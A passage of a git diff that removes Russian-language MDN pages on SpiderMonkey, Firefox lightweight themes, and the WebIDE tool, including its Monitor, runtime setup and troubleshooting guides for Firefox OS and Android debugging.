SpiderMonkey — это интерпретатор языка JavaScript для движка Gecko, написанный на языке C. Он используется в разнообразных продуктах в рамках проекта Mozilla, включая браузер Firefox, и доступен на условиях тройной лицензии MPL/GPL/LGPL.

- -
Примечание: The FOSS wiki page contains a few links to other libraries and programs that can make life easier when using Spidermonkey and JSAPI.
- - - - - - - - -
-

Документация

- -
-
Справочник JSAPI
-
Справочник SpiderMonkey API.
-
- -
-
Справочник JSDBGAPI
-
Справочник SpiderMonkey API для отладки.
-
- -
-
Руководство разработчика по использованию движка JavaScript во встроенных устройствах
-
Это руководство содержит обзор особенностей SpiderMonkey и описывает, как вы можете внедрить вызовы интерпретатора в свои приложения, обеспечивая поддержку JavaScript.
-
- -
-
Как внедрить движок JavaScript
-
Учебное пособие (начиная с азов) о внедрении SpiderMonkey.
-
- -
-
Советы по сборке мусора SpiderMonkey
-
Советы по избежанию ошибок при сборке мусора.
-
- -
-
Введение в оболочку JavaScript
-
Как получить, собрать и использовать оболочку JavaScript.
-
- -
-
Внутренности SpiderMonkey: безопасность потоков
-
Особенности внутренней работы модели запросов SpiderMonkey.
-
- -
-
Документация по сборке SpiderMonkey
-
Как собрать SpiderMonkey и запустить комплексный тест.
-
- -

View All...

-
-

Сообщество

- -
    -
  • View Mozilla forums...
  • -
- -

Связанные темы

- -
-
JavaScript
-
-
- -

Категории

- -

Interwiki Language Links

diff --git a/files/ru/themes-840092-dup/background/index.html b/files/ru/themes-840092-dup/background/index.html deleted file mode 100644 index 60a62265dc..0000000000 --- a/files/ru/themes-840092-dup/background/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Фоновые темы Firefox. -slug: Themes-840092-dup/Background -translation_of: Mozilla/Add-ons/Themes/Lightweight_themes ---- -

Как создать свою собственную фоновую тему

- -
-

Темы состоят из изображений, которые накладываются поверх верхней и нижней части окна Firefox.

- -

Вы уже создали свою тему? Выложите её прямо сейчас!

- -

Создание верхней части темы

- -

Верхняя часть темы отображается в качестве фона верхней части окна, распологаясь за панелями инструментов, строкой адреса, строкой поиска и за панелью вкладок. Она выравнивается по верхнему правому углу окна браузера.

- -

- - - -

Требования к изображению

- -
    -
  • Размер изображения - 3000 точек в ширину и 200 в высоту.
  • -
  • Формат изображения - .PNG или .JPG.
  • -
  • Изображение должно весить не более 300 килобайт.
  • -
- -

Примечание

- -
    -
  • Мягкие и контрастные изображения, а также градиенты подходят лучше всего; изображения с большим количеством деталей будут мешать использованию браузера.
  • -
  • Firefox может отобразить нижнюю часть изображения если другая панель управления добавлена сверху окна.
  • -
  • Наиболее важную информацию размещайте в правом верхнем углу. При увеличении размеров окна браузера будет показываться большая часть левой стороны изображения. Для всех, кому непонятно, изображение привязано к правой стороне окна, и если размер самого окна слишком мал, то оно обрезается с левой стороны.
  • -
- -

Онлайн редакторы изображений

- -
    -
  • Pixlr — Pixlr предлагает профессиональные и простые в использовании инструменты для создания и редактирования изображений прямо в браузере.
  • -
  • Photoshop — Редактируй, поворачивай и исправляй изображения с Photoshop® Express, бесплатным онлайн-фоторедактором.
  • -
- -

Создание нижней части темы

- -

В старых версиях Firefox (и в новых, при наличии некоторых дополнений), нижняя часть темы будет показана в качестве нижней части окна браузера, за панелью дополнений и панелью поиска. Она будет выравниваться по левому нижнему углу окна браузера. Это изображение не обязательно.

- -

- - - -

Требования к изображению

- -
    -
  • Размер изображения - 3000 точек в ширину и 100 в высоту.
  • -
  • Формат изображения - .PNG или .JPG.
  • -
  • Изображение должно весить не более 300 килобайт.
  • -
- -

Примечание

- -
    -
  • Мягкие и контрастные изображения, а также градиенты подходят лучше всего; изображения с большим количеством деталей будут мешать использованию браузера.
  • -
  • Firefox отобразит большую часть изображения если открыта строка поиска или если добавлены кнопки дополнений, в результате чего низ окна увеличился в высоту.
  • -
  • Наиболее важную информацию размещайте в левой стороне изображения. При увеличении размеров окна браузера будет показываться большая часть правой стороны. Для всех, кому непонятно, изображение привязано к левой стороне окна, и если размер самого окна слишком мал, то оно обрезается с правой стороны.
  • -
- -

Как же выложить свою тему?

- -

Чтобы выложить свою тему надо перейти на страницу выкладывания тем:

- -
    -
  1. Назовите свою тему — Выберите уникальное имя для своей темы. Уже занятые имена использовать нельзя, так что иногда придётся напрягать свою фантазию чуть больше, чем обычно.
  2. -
  3. Выберите категорию и теги — Выберите категорию и введите несколько тегов, которые наиболее точно описывают вашу тему. Если теги или категория выбраны неверно (к примеру, автомобиль в категории "Природа") то модератор не выложит вашу тему.
  4. -
  5. Опишите свою тему — Напишите краткое описание для своей темы. Имейте в виду, что из-за неточного или непонятного описания пользователи могут выбрать другую тему вместо вашей.
  6. -
  7. Решите, как будет распространяться ваша тема Выберите, смогут ли другие люди использовать вашу тему в качестве основы для своей собственной. Узнайте больше о лицензии Creative Commons. -
      -
    • Важно! Ваша тема не может быть свободно распространена, если в ней используются изображения, на которые у вас нет авторских прав. Перед использованием изображения удостоверьтесь в том, что оно может свободно распространяться или вы являетесь его владельцем.
    • -
    -
  8. -
  9. Загрузите ваши изображения — Изображения не должны весить более 300 килобайт и должны иметь формат .JPG или .PNG.
  10. -
  11. Выберите цвета текста и вкладок — Вы можете выбрать цвета вкладок и текста на переднем плане. Экспериментируйте! Найдите лучшие цвета для вашей темы.
  12. -
  13. Узрите своё творение! — Теперь вы готовы увидеть то, что сделали сами. Вам необходимо только навести курсор на изображение, которое находится над кнопкой "Отправить тему".
  14. -
  15. Отправьте свою тему в народ! — Если вам всё нравится, нажмите на кнопку "Отправить тему" или "Submit theme" (на картинке). Вы можете увидеть все темы, созданные вами ранее на странице вашего профиля. -
      -
    • Примечание. Чтобы тема могла попасть в нашу галерею, она должна соответствовать всем рекомендациям выше, также она должна соответствовать правилам сервиса.
    • -
    -
  16. -
- -

- -

Создайте вашу тему прямо сейчас!

-
diff --git a/files/ru/themes-840092-dup/index.html b/files/ru/themes-840092-dup/index.html deleted file mode 100644 index afd0b09c6a..0000000000 --- a/files/ru/themes-840092-dup/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Темы -slug: Themes-840092-dup -tags: - - Add-ons - - Look & Feel - - Themes -translation_of: Mozilla/Add-ons/Themes ---- -
Приступая к работе
-Введения по разработке тем для Firefox.
- -
Темы - это оболочки для различных приложений Mozilla. Они позволяют изменять вид пользовательского интерфейса и настроить его на свой вкус. Тема может просто изменить цвета или изменить каждый кусочек интерфейса.
- - - - - - - - -
-

Документация

- -
-
Создание темы
-
Учебник для создания простой темы в Firefox 3.0 или более новой.
-
Общие вопросы и их решения
-
Общие вопросы отображаются, когда редакторы AMO проверяют темы и отображают, как устранить проблемы.
-
Легковесные темы
-
Встроенные легковесные темы ("Personas") для Firefox 3.6 и старше или Firefox 3 с установленным расширением Personas.
-
Создание обложки для Firefox
-
Введение в процесс создания новых тем для старых версий (до 3.0) Firefox
-
Создание обложки для для SeaMonkey 2
-
Введение в процесс создания новых тем для SeaMonkey 2.
-
Убедитесь, что ваша тема работа с локалями RTL
-
Как убедиться, что тема будет смотреться хорошо на иврите, арабском, персидском и урду языках.
-
Упаковка темы
-
Как упаковать тему для Firefox и Thunderbird.
-
Изменения тем в Firefox 4
-
Изменения тем между Firefox 3.0 и 3.5
-
Изменения тем между Firefox 2.0 и 3.0
-
Изменения тем между Firefox 1.5 и 2.0
-
Полный список изменений между релизами Firefox 1.5 и 2.0
-
Еще один учебник по темам
-
Еще один, более новый учебник по созданию тем Mozilla.
-
Изменения тем с Firefox 1.0 до 1.5 (сообщение форума)
-
Сообщение форума MozillaZine содержит основные изменения по темам между Firefox 1.0 и 1.5.
-
Первые шаги в дизайне тем
-
Несколько старая статья обсуждения дизайна тем для Firefox.
-
Thunderbird Personas
-
Новое в Thunderbird 3
-
- -

Посмотреть всё...

-
-

Сообщество

- -
    -
  • Посмотреть форумы Mozilla...
  • -
- -

{{ DiscussionList("dev-themes", "mozilla.dev.themes") }}

- - - -

Инструменты

- - - - - -
-
CSS
-
-
- -

{{ languages( { "de": "de/Themes", "es": "es/Temas", "fr": "fr/Th\u00e8mes", "ja": "ja/Themes", "pl": "pl/Motywy", "zh-cn": "cn/\u4e3b\u9898", "zh-tw": "zh_tw/\u4f48\u666f\u4e3b\u984c" } ) }}

- -
 
diff --git a/files/ru/tools/webide/index.html b/files/ru/tools/webide/index.html deleted file mode 100644 index f8c0ab40fd..0000000000 --- a/files/ru/tools/webide/index.html +++ /dev/null @@ -1,252 +0,0 @@ ---- -title: WebIDE -slug: Tools/WebIDE -tags: - - Apps - - Firefox OS - - WebIDE - - tool - - Отладка - - инструменты -translation_of: Archive/WebIDE ---- -
{{ToolsSidebar}}
-

WebIDE даёт вам возможность запускать и выполнять отладку веб-приложений, используя Симулятор Firefox OS или реальное устройство, работающее на Firefox OS.

- -

Она представляет собой среду разработки, в которой можно создавать и редактировать приложения для Firefox OS. WebIDE удобно отображет файлы проекта в древовидной структуре, что обеспечивает легкий доступ к файлам для их последующего редактирования и сохранения. В дополнение прилагается пара шаблонов для быстрого старта.

-
- -

Для начала настройте среду выполнения в WebIDE. Среда выполнения — это окружение, в котором вы сможете запускать и/или выполнять отладку приложения. Среда исполнения может быть реальным устройством, работающим под Firefox OS и подключенным к персональному компьютеру через USB (или по Wi-Fi, начиная с Firefox 39), или это может быть Симулятор Firefox OS, установленный на компьютере.

- -

Затем создайте или откройте существующее приложение. Если вы создаете новое приложение, то можете выбрать один из шаблонов. Это может быть шаблон с минимальной конфигурацией, включающий только базовый набор файлов, необходимых для разработки, либо расширенный, который содержит примеры использования специфического API. WebIDE покажет файлы проекта в виде дерева, и вы можете редактировать и сохранять их во встроенном редакторе. Конечно, совсем необязательно использовать встроенный редактор: можно разрабатывать приложение и во внешней среде разработки, используя WebIDE как дебаггер.

- -

В завершение установите приложение в одну из сред выполнения и запустите его. Затем откройте стандартный набор иструментов разработчика - Инспектор, Веб-консоль, Отладчик JavaScript и так далее — и можете начать изучать и изменять запущенное приложение.

- -
-
-
Запуск WebIDE
-
Как открыть WebIDE из Firefox.
-
Настройка сред выполнения
-
Как подключиться к среде выполнения, в которой вы можете устанавливать приложения в устройства на Firefox OS, на симулятор Firefox OS, и на Firefox для Android.
-
Создание и редактирование приложений
-
Как создавать, открывать, и разрабатывать приложения, используя WebIDE.
-
Меню среды выполнения
-
Выбрав среду выполнения, используйте меню, чтобы получить информацию о среде выполнения и о его приложениях, изменять настройки, или сделать снимок.
-
Запуск и отладка приложений
-
Как установить приложения в среду выполнения и отлаживать их, используя Инструменты разработчика Firefox.
-
Работа над приложениями Cordova в WebIDE
-
начиная с Firefox версии 39, вы можете редактировать и отлаживать приложения Cordova, используя WebIDE.
-
Устранение неполадок
-
Помощь с проблемами с WebIDE, в особенности с проблемами подключения к среде выполнения.
-
- -
-

Чтобы разрабатывать и отлаживать приложения с помощью WebIDE, всё что вам нужно — это Firefox версии 33 или новее. Чтобы протестировать на реальном устройстве работающем под Firefox OS, вам потребуется устройство с Firefox OS 1.2 или новее и USB кабель.

- -

WebIDE совместима только с Firefox OS 1.2 или новее.

-
- -

Установка среды исполнения

- -

Среды исполнения в списке "Select Runtime" (Выбрать среду исполнения), сгруппированы в 3 секции:

- - - -

Если вы впервые установили и настроили WebIDE, то вы возможно не увидите сред исполнения в списке:

- -

Оставшаяся часть главы описывает, как добавить несколько сред исполнения.

- -

Соединение с устройством Firefox OS

- -

Перед тем как установить соединение с устройством Firefox OS, требуется предварительно проделать некоторые действия:

- - - -

Теперь подсоедините устройство к компьютеру с помощью USB. Вы должны увидеть ваше устройство в подгруппе "USB DEVICES" (USB Устройства):

- -

- -

Исправление ошибок

- -

Если вы не видите ваше устройство, то попробуйте следующее:

- -
    -
  1. включите логирование: - -
      -
    1. откройте about:config, и добавьте новый параметр .console.logLevel/ Присвойте ему строковое значение all.
    2. -
    3. в Менеджере Дополнений отключите и снова включите дополнение ADB Helper.
    4. -
    5. Откройте Консоль Браузера и вы увидите в сообщения начинающиеся с adb. Если смысл сообщений вам непонятен, то попросите помощи.
    6. -
    -
  2. -
  3. где можно попросить помощи: зайдите на #devtools чат IRC, и мы постараемся вам помочь.
  4. -
  5. отредактируйте asb_usb.ini: если команда "adb devices" выводит пустой список даже когда телефон подключен и разблокирован, то можно попробовать отредактировать adb_usb.ini.
  6. -
- -

Добавление Симулятора Firefox OS

- -

Симулятор Firefox OS is a version of the higher layers of Firefox OS that simulates a Firefox OS device, but runs on the desktop. It runs in a window the same size as a Firefox OS device, includes the Firefox OS user interface and built-in apps, and simulates many of the Firefox OS device APIs.

- -

Это означает, что в большинстве случаев вам не требуется настоящее устройство, чтобы тестировать и выполнять отладку ваших приложений.

- -

Симулятор имеет большой объем, поэтому он не встроен в Firefox, а поставляется как плагин. Если вы нажмёте "Установить Симулятор" (Install Simulator)  в меню Среды Исполнения, вас перенаправит на страницу, с которой можно установить различные версии Firefox OS Симулятора.

- -

Вы можете установить сколько угодно версий Симулятора. Но будьте терпеливы — Симуляторы имеют большой объем, и поэтому их загрузка может занять продолжительное время. Как только вы установили Симуляторы, они появятся в меню Среды Исполнения:

- -

Чтобы узнать больше о Симуляторах, просмотрите документацию к ним.

- -

Custom runtimes

- -

With a custom runtime you can use an arbitrary hostname and port to connect to the remote device.

- -

Under the hood, Firefox OS devices and Android devices connect to the desktop using a program called the Android Debug Bridge, or ADB. By default, the WebIDE uses an add-on called the ADB Helper: this simplifies the process for you by installing ADB and setting up port forwarding so the Firefox desktop tools can exchange messages with the device.

- -

This is convenient, but sometimes you need to manage ADB directly, because you have your own custom port forwarding, and in this case you need to set up a custom runtime. For example, you can connect a Firefox for Android device using adb, then set up port forwarding from that device, then use the port number in a custom runtime to connect WebIDE to it.

- -

Как создать новое или открыть существующее приложение

- -

В списке меню «Открыть приложение» (Open App) есть 3 опции: «Создать новое приложение», «Открыть упакованное приложение» и «Открыть приложение на удаленном хосте»:

- -

- -

Создание нового приложения

- -

Выберите "Создать Приложение... " (New App...), чтобы создать новое приложение. Откроется диалог, предлагающий выбрать между двумя шаблонами "Пустое Приложение" (Privileged Empty App) и "Приложение Образец" (Privileged App).

- -

- -

Оба шаблона взяты из колекции шаблонов Mortar, и оба предоствавляют базовую структуру для начала разработки приложения. "Приложение Образец" (Privileged App) показывает, как приложение может использовать разрешения для загрузки контента с удаленного источника.

- -

Выбрав шаблон, введите имя приложения и выберите директорию, в которую следует сохранить файлы, после чего новое приложение откроется в  редакторе проекта.

- -

Как открыть упакованное приложение

- -

Выберите "Открыть Упакованное Приложение" (Open Packaged App...), чтобы открыть упакованное приложение. Затем укажите директорию, в которой содержится манифест приложения, и оно откроется в редакторе проекта.

- -

Как открыть приложение на удаленном хосте

- -

Выберите "Открыть Удаленное Приложение" (Open Hosted App...), затем укажите ссылку (URL) на манифест приложения, и приложение откроется в редакторе проекта.

- -

Редактирование приложений

- -

Редактор проекта предлагает удобное окружение для разработки приложений. Слева можно увидеть файловую структуру проекта в виде дерева, а справа панель редактора. Вы можете добавлять и удалять файлы, используя контекстное меню.

- -

- -

Валидация Манифеста

- -

WebIDE автоматически проверяет манифест на наличие определенных общих ошибок. Если она найдет ошибку, то укажет, что в приложении имеются проблемы, а также даст более детальное описание проблемы:

- -

- -

Редактор кода

- -

WebIDE использует редактор кода CodeMirror.

- -

Шорткаты редактора кода

- -

{{ Page ("ru/docs/tools/Keyboard_shortcuts", "source-editor") }}

- -

Автодополнение кода

- -

Редактор имеет функцию автодополнения кода CSS и JavaScript. Для CSS автодополнение всегда включено:

- -

Чтобы открыть подсказки автодополнения для JavaScript, нажмите Control + Space:

- -

- -

Встроенная документация

- -

Редактор также может показывать встроенную документацию к JavaScript. Нажмите Shift + Space, чтобы увидеть всплывающее окно с документацией к объекту, на котором находится курсор:

- -

- -

Нажатие на ссылку [docs] в окне с документацией перенаправит вас на страницу с MDN с описанием объекта, к которому требуется дополнительная документация.

- -

Запуск и отладка приложений

- -

Когда вы готовы к запуску приложения, то выберите среду исполнения из меню "Выбрать среду исполнения" (Select Runtime). Если у вас еще нет ни одной зарегистрированной среды исполнения, то узнайте, как можно это сделать, в главе Настройка среды исполнения.

- - - -

Теперь две вещи изменились. Во-первых, в меню Среды Исполнения появилось 3 дополнительных пункта:

- - - -

Во-вторых, кнопка "play" в центре панели инструментов WebIDE теперь активна: нажмите на неё, чтобы установить и запустить приложение в выбранной среде исполнения:

- -

Чтобы включить отладку приложения, нажмите кнопку "Приостановить" (Pause) — появится Панель Разработчика, соединённая с вашим приложением:

- -

В зависимости от среды исполнения список доступных инструментов может изменяться, однако как минимум будут доступны базовые инструменты: Инспектор, Консоль, Дебаггер JavaScript, Редактор Стилей, Профайлер and Скратчпад. Как и при работе с веб страницами, любое сделанное вами изменение немедленно отобразится в приложении, но при перезапуске приложения изменения не сохраняются. И наоборот, любые сделанные вами изменения в редакторе можно сохранить сразу на диск, но они станут видимыми только после рестарта приложения.

- -

Отладка подписанных приложений

- -

With the Simulator, if you click on the app dropdown menu while the runtime is selected, you can see and debug not only your app but all apps running in that runtime, including certified apps:

- -

- -


- Как бы там ни было, чтобы запустить отладку подписанного приложения на реальном устройстве:

- - - -

Чтобы активировать отладку подписанных приложений, проделайте следующие операции:

- -
    -
  1. На своем компьютере откройте терминал/консоль и выполните команду, чтобы войти на файловую систему устройства через шел: -
    adb shell
    - -

    Приглашение в терминале должно измениться на root@android.

    -
  2. -
  3. -

    Следующий шаг — остановите B2G:

    - -
    stop b2g
    -
  4. -
  5. -

    Смените текущую директорию:

    - -
    cd /data/b2g/mozilla/*.default/
    -
  6. -
  7. -

    Добавьте следующую строку в файл prefs.js :

    - -
    echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' >> prefs.js
    -
    -
  8. -
  9. -

    Перезапустите B2G:

    - -
    start b2g
    -
  10. -
  11. -

    Выйдите из файловой системы Андроида с помощью команды exit; это вернет вас в ваш обычный терминал и вы увидите стандартное приглашение командной строки.

    -
  12. -
- -

Теперь в WebIDE доступны все подписанные приложения на вашем устройстве.

- -

 

- -

 

diff --git a/files/ru/tools/webide/monitor/index.html b/files/ru/tools/webide/monitor/index.html deleted file mode 100644 index 0f7a579909..0000000000 --- a/files/ru/tools/webide/monitor/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Monitor -slug: Tools/WebIDE/Monitor -tags: - - Monitor -translation_of: Archive/WebIDE/Monitor ---- -
{{ToolsSidebar}}

WebIDE Monitor инструмент предназначеный помочь вам отслеживать эффективность работы Firefox OS  приложений и устройств.

-

The WebIDE Monitor

-

Monitor способен отображать существующие, интерактивные графики для визуализации временных рядов.

-

Доступные графики

-

Monitor поставляется с несколькими различными графиками. Они появляются сразу после того, как WebIDE подключается к Firefox OS.

-

Обычный пример

-

Unique Set Size

-

График показывает работу всех процессов Firefox OS в течение данного времени. Если вас интересует потребление памяти приложением в Firefox OS, запустите приложения, и процесс использования памяти отобразится на графике.

-

Отображение ваших данных

-

Отображать любые данные на Monitor очень легко, он принимает отформатированные обновления из разных источников.

-

Устройства Firefox OS

-

Вы можете отправить данные с подключенного устройства, путем отправки уведомления наблюдателя.

-

Примечание: Если вы хотите сделать это в сертифицированном приложении пожалуйста, следуйте этой инструкции.

-

JavaScript

-

Services.obs.notifyObservers(null, 'devtools-monitor-update', data);

-

Вы можете отправить данные из любого кода JS с chrom привилегией. Пример измерения времени выполнения определенного кода JS:

-

const Services = require('Services');
-
- var start = Date.now();
- // code to benchmark
- var stop = Date.now();
-
- var data = { graph: 'Performance', myFeature: stop-start, time: stop }
;
- Services.obs.notifyObservers(null, 'devtools-monitor-update', JSON.stringify(data));

-

C++

-

observerService->NotifyObservers(nullptr, "devtools-monitor-update", data);

-

Вы можете отправить данные из любого места в Gecko. Пример измерения времени выполнения определенного кода:

-

#include <time.h>
- #include "nsPrintfCString.h"
- #include "nsIObserverService.h"
-
- clock_t start = clock();
- // code to benchmark
- clock_t stop = clock();
- double time = (double)(stop - start) / (CLOCKS_PER_SEC / 1000);
-
- nsCOMPtr<nsIObserverService> observerService = services::GetObserverService();
- if (observerService) {
-   nsPrintfCString str("{\"graph\":\"Performance\",\"myFeature\":%f}", time);
-   nsAutoString data = NS_ConvertUTF8toUTF16(str);
-   observerService->NotifyObservers(nullptr, "devtools-monitor-update", data.get());
- }

-

С вашего компьютера

-

 

-

Можно легко передавать данные на Monitor по серверу WebSockets. Это может быть полезно, если вы пишете расширение Firefox, инструмент командной строки или веб-service.

-

По умолчанию Monitor ищет сервер работающий на порту 9000 вашего компьютера. Вы можете изменить это путем обновления

-

devtools.webide.monitorWebSocketURL preference.

-

Вы также можете в этот момент принимать данные из локальной сети или из любой точки мира через Интернет.

-

Node.js

-

TODO

-

Python

-

TODO

-

Поддерживаемые форматы

-

Monitor принимает данные в виде объектов JSON, которые обычно выглядят следующим образом:

-

{
-   "graph": "myGraph",
-   "curve": "myCurve",
-   "value": 42,
-   "time": 1234567890
- }

-

Этот формат предназначен для большего удобства. Если указано, что График или кривая не существует, он будет создан автоматически.

-

Произвольные имена

-

Неопознанные записи будут рассматриваться как имя кривой и стоимости.

-

Для маленького пакета данных вы можете использовать что-то вроде:

-

{ "myCurve": 42 }

-

Это добавит данные указывающие на "myCurve" в графе no name. Отсутствует time по умолчанию, когда Monitor получил пакет.

-

Для повышения точности лучше всегда указывать метку времени "timestamp" для хранения данных:

-

{
-   "current": 60,

-   "voltage": 500,
-   "time": 1234567890
- }

-

Несколько значений

-

В одном обновлении, вы можете отправить данные для нескольких кривых:

-

{
-   "graph": "myGraph",
-   "myCurve1": 50,
-   "myCurve2": 300,
-   "myCurve3": 9000,
-   "time": 1234567890
- }

-

Или несколько точек данных для одной кривой:

-

{
-   "graph": "myGraph",
-   "curve": "myCurve",
-   "values": [
-     { "time": 1234567890, "value": 42 },
-     { "time": 1234567981, "value": 51 }
-   ]
- }

-

Multiple обновления

-

И вы также можете отправить несколько обновлений данных в виде массива:

-

[
-   { "graph": "Memory", "time": 1234567890, "System": 2600, "My App": 1000 },
-   { "graph": "Power", "time": 1234567890, "current": 60, "voltage": 500 }
- ]

-

Специальное событие

-

Чтобы отметить специальное событие в графе с вертикальной чертой, добавьте ключ событий для обновления вашего:

-

{
-   "graph": "myGraph",
-   "event": "myEvent",
-   "time": 1234567980
- }

diff --git a/files/ru/tools/webide/setting_up_runtimes/index.html b/files/ru/tools/webide/setting_up_runtimes/index.html deleted file mode 100644 index 2fd78e6f57..0000000000 --- a/files/ru/tools/webide/setting_up_runtimes/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Настройка времени выполнения -slug: Tools/WebIDE/Setting_up_runtimes -tags: - - Боковая панель - - Операционная Система - - Руководство - - Симуляторы -translation_of: Archive/WebIDE/Setting_up_runtimes ---- -

{{ToolsSidebar}}

- -

Время выполнения это среда где вы будете выполнять и отлаживать приложение, такое как веб браузер. Время выполнения может быть:

- - - -

В WebIDE, вы будете использовать боковую панель в правой стороне для управления временами выполнения:

- -

- -

В этой боковой панели времена выполнения сгрупирированны в четыре типа:

- -
-
USB УСТРОЙСТВА
-
Устройства Firefox OS подключены через USB. С Firefox 36 это также позволяет вам подключиться к Firefox for Android over USB.
-
WI-FI УСТРОЙСТВА
-
Устройства Firefox OS подключены через Wi-Fi. Новое в Firefox 39.
-
СИМУЛЯТОРЫ
-
Экземпляры установленного вами симулятора Firefox OS.
-
ДРУГИЕ
-
Удаленные среды выполнения для подключения WebIDE к произвольному хосту и порту. Если у вас есть Valence надстройка установлена, этот раздел также перечислит additional runtimes it enables.
-
- -

Остальная часть этого раздела описывает, как вы можете добавить некоторые среды выполнения.

- -

Подключение Firefox OS устройства

- -

Если у вас достаточно свежая версия Firefox и Firefox OS, вы можете подключиться по WI-FI. В противном случае вы должны подключиться через USB.

- - - -

Подключение к Firefox для Android

- -

Устройства Android, подключенные через USB и работающие с Firefox для Android, отображаются как среда выполнения в разделе «Устройства USB». Начиная с Firefox 42, вы можете подключаться к Firefox для Android через Wi-Fi.

- - - -

Добавление Симулятора

- -

Firefox OS Simulator

- -

является версией более высоких уровней ОС Firefox, которая имитирует устройство с ОС Firefox, но работает на рабочем столе. Он работает в окне того же размера, что и устройство с ОС Firefox, включает в себя пользовательский интерфейс ОС Firefox и встроенные приложения, а также имитирует многие API-интерфейсы устройства с ОС Firefox.

- -

Это означает, что во многих случаях вам не нужно реальное устройство для тестирования и отладки вашего приложения.

- -

Симулятор поставляется не внутри Firefox, а как Firefox дополнение.Если вы нажмете «Установить симулятор» на боковой панели «Runtime», вы перейдете на страницу, с которой вы можете установить симуляторы для различных версий Firefox OS.

- -

Вы можете установить сколько вам угодно. Однако будьте терпеливы: Симулятор может занять несколько минут для скачивания.

- -

Заметьте для того чтобы запустить Firefox OS Симулятор 2.6 или позднюю версию, вы должны использовать Firefox 45 или позднюю версию.

- -

Один раз установя некоторые Симуляторы вы можете закрыть это "Extra Components" окно, и Симуляторы которые вы установили появляются как опция в панели времён выполнения:

- -

- -

Для того чтобы узнать больше о Симуляторе, посмотрите его документацию.

- -

Конфигурирование Симуляторов

- -

Новое в Firefox 42

- -

Начиная с Firefox 42, в боковой панели рядом с каждым перечисленным Симулятором вы увидите иконку настроек:

- -

- -

Кликните его, и вы увидите экран позволяющий вам управлять Симулятором:

- -

Вы можете:

- - - -

Другие времена выполнения

- -

Удалённое время выполнения

- -

С помощью удаленной среды выполнения вы можете использовать произвольное имя хоста и порт для подключения к удаленному устройству.

- -

Устройства Firefox OS и Android подключаются к рабочему столу с помощью программы, называемой Android Debug Bridge, или ADB. По умолчанию в WebIDE используется надстройка, которая называется ADB Helper: это упрощает процесс, устанавливая ADB и настраивая переадресацию портов, чтобы инструменты рабочего стола Firefox могли обмениваться сообщениями с устройством.

- -

В большинстве случаев это удобно, но иногда вам может понадобиться использовать ADB вне WebIDE: например, вы можете запускать ADB непосредственно из командной строки. В этом случае вы подключитесь к устройству, указав хост и порт, используя adb forward команду (пример: adb forward tcp:6000 localfilesystem:/data/local/debugger-socket).
-
-Если вы затем хотите использовать WebIDE для подключения, вам следует разблокировать дополнения и подключить WebIDE, используя опцию Custom runtime, указав хост и порт, которые вы передали в adb forward (пример: localhost:6000).

- -

Кроме того, до Firefox 36 помощник ADB еще не поддерживает подключение к Firefox для Android, поэтому, если вы хотите подключить WebIDE к Firefox для Android, вам нужно настроить собственную переадресацию портов и использовать пользовательскую среду выполнения. узнайте больше о подключении FireFox для Android c использованием .

- -

Valence-enabled времена выполнения

- -

Если у вас установлено дополнение Valence, вы увидите три дополнительных среды выполнения:

- - - -

Инструкции по подключению к этим средам выполнения см. В соответствующей записи в удаленной отладке.

- -

Выбор времени выполнения

- -

После настройки среды выполнения вы можете выбрать ее с помощью боковой панели «Runtime».

- - - -

Теперь кнопка «играть» в центре панели инструментов WebIDE включена: нажмите ее, чтобы установить и запустить приложение в выбранной среде выполнения.

diff --git a/files/ru/tools/webide/troubleshooting/index.html b/files/ru/tools/webide/troubleshooting/index.html deleted file mode 100644 index f4aed2ec9d..0000000000 --- a/files/ru/tools/webide/troubleshooting/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Решение проблем с WebIDE -slug: Tools/WebIDE/Troubleshooting -translation_of: Archive/WebIDE/Troubleshooting ---- -
{{ToolsSidebar}}

Подключение устройства на Firefox OS по USB

- -

Если вы пытаетесь подключить устройство на Firefox OS к WebIDE и его не видно, вот некоторые вещи, которые вы можете попробовать:

- - - -

Подключение к устройству Firefox OS по Wi-Fi

- - - -

Подключение к Firefox для Android

- -

Если вы пытаетесь подключиться к Firefox, работающему на Android OS и устройство не отображается, то вот несколько вещей, которые вы можете попробовать:

- - - -

Подключение Firefox для Android по Wi-Fi

- - - - - -

Подключение к другим браузерам (Chrome, Safari)

- -

WebIDE использует Valence (бывший Firefox Tools Adapter) для подключения к другим браузерам, например, Chrome and Safari.

- -

При возникновении проблем с подключением к другим браузерам, проверьте настройки, а также примечания касаемо этих браузеров на странице Valence.

- -

Не удаётся отладить некоторые приложения

- -

Если вы понимаете, что вам не удаётся отладить сертифицированные приложения, встроенные приложения или приложения уже установленные на реальном устройстве, то вы вероятно столкнулись с ограниченными привилегиями политики безопасности WebIDE. Чтобы узнать больше, посмотрите раздел Unrestricted app debugging (including certified apps, main process, etc.).

- -

Не удаётся загрузить список проектов

- -

Если открыть WebIDE в одной версии Firefox, а потом откатиться до предыдущей версии Firefox с тем же профилем, вы можете увидеть сообщение об ошибке "не удается загрузить список проектов" при открытии WebIDE в предыдущей версии Firefox.

- -

Это случается, когда система хранения данных, которую использует WebIDE (IndexedDB), требует переместить и реструктурировать внешние файлы для новой версии Firefox. Список проектов становится фактически недоступным для старых версий Firefox.

- -

Данные не теряются, но вам придётся продолжить использовать самую новую версию Firefox, с которой использовался ваш профиль, чтобы получить список проектов обратно.

- -

Если вы очень хотите использовать старую версию Firefox, вы можете попытаться удалить только список проектов следующим образом, но это не поддерживается и может привести к проблемам в дальнейшим или дополнительным потерям данных:

- -
    -
  1. Закройте Firefox
  2. -
  3. Найдите вашу директорию профиля Firefox
  4. -
  5. Найдите папку storage внутри директории профиля
  6. -
  7. В некоторых местах этого древа файлов могут быть файлы и/или директории, которые начинаются с 4268914080AsptpcPerjo (хэшированное имя базы данных)) -
      -
    • -

      Например, они могут располагаться в <профиль>/storage/permanent/indexeddb+++fx-devtools/idb

      -
    • -
    -
  8. -
  9. Удалите все подобные файлы и директории
  10. -
  11. Запустите Firefox и WebIDE снова
  12. -
- -

Включить ведение журнала

- -

Вы также можете включить подробное протоколирование для сбора диагностических данных:

- -
    -
  1. Откройте about:config, и добавьте новый параметр, называемый extensions.adbhelper@mozilla.org.sdk.console.logLevel со значением all и установите extensions.adbhelper@mozilla.org.debug в true.
  2. -
